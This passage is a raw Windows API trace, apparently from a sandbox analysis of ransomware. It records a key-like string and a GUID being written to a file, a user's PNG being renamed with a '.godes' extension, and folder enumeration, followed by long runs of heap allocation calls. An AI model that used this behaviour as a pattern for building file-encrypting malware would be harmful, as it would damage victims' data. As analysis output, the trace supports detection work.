SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1233f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.354] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.354] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.354] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.354] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.354] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.354] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.354] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.354] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.355] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.355] CloseHandle (hObject=0x624) returned 1 [0114.356] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0114.356] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0114.356] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0114.356] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\qHB6k1yx.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\qhb6k1yx.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\qHB6k1yx.png.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\qhb6k1yx.png.godes")) returned 1 [0114.358] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.358] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.359] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32064b0 | out: hHeap=0x660000) returned 1 [0114.359] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b9ebc00, ftCreationTime.dwHighDateTime=0x1d4cfa7, ftLastAccessTime.dwLowDateTime=0xec132ca0, ftLastAccessTime.dwHighDateTime=0x1d4cf06, ftLastWriteTime.dwLowDateTime=0xec132ca0, ftLastWriteTime.dwHighDateTime=0x1d4cf06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Se5hmDr0IOl8", cAlternateFileName="SE5HMD~1")) returned 1 [0114.359] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0114.359] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.359] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740f38 [0114.359] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.359] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0114.359] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b9ebc00, ftCreationTime.dwHighDateTime=0x1d4cfa7, ftLastAccessTime.dwLowDateTime=0xec132ca0, ftLastAccessTime.dwHighDateTime=0x1d4cf06, ftLastWriteTime.dwLowDateTime=0xec132ca0, ftLastWriteTime.dwHighDateTime=0x1d4cf06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Se5hmDr0IOl8", cAlternateFileName="SE5HMD~1")) returned 0 [0114.359] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.359] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0114.359] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f4f8 | out: hHeap=0x660000) returned 1 [0114.359] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.359] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0114.359] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.359] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.359] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.359] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.359] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.359] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.359] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.359] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.359] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.359] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.360] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.360] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.360] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.360] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.360] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.360] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.360] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.360] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.360] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.360] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.360] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.360] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.360] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.360] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.360] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.360] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.360] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.361] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.361] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.361] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.361] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.361] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.361] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.361] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.361] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.361] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.361] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.361] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.361] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.361] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.361] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.361] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.361] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.361] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.361] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.361] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.361] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.361] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.361] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.361] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.361] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.361] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.361] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.361] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.361] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.361] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.361] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.361] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.361] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.361] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.362] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.362] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.362] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.362] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.362] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.362] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.362] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.362] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.362] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.362] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.362] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.362] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.362] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.362] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.362] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.362] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.362] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.362] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.362] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.362] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.362] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.362] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.362] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.362] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.362] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.362] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.362] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.362] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.362] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.362] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.362] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.362] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.362] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.363] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.363] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.363] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.363] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.363] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.363] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.363] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.363] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.363] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.363] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.363] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.363] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.363] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.363] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.363] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.363] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.363] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.363] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.363] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.363] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.363] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.363] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.363] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.363] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.363] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.363] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.363] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.363] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.363] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.363] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.363] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.363] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.364] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.364] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.364] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.364] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.364] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.364] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.364] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.364] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.364] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.364] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.364] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.364] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.364] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.364] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.364] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.364] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.364] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.364] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.364] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.364] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.364] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.364] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.364] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.364] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.364] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.364] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.364] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.364] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.364] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.364] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.364] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.364] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.364] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.365] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.365] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.365] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.365] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.365] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.365] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.365] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.365] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.365] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.365] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.365] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.365] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.365] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.365] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.365] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 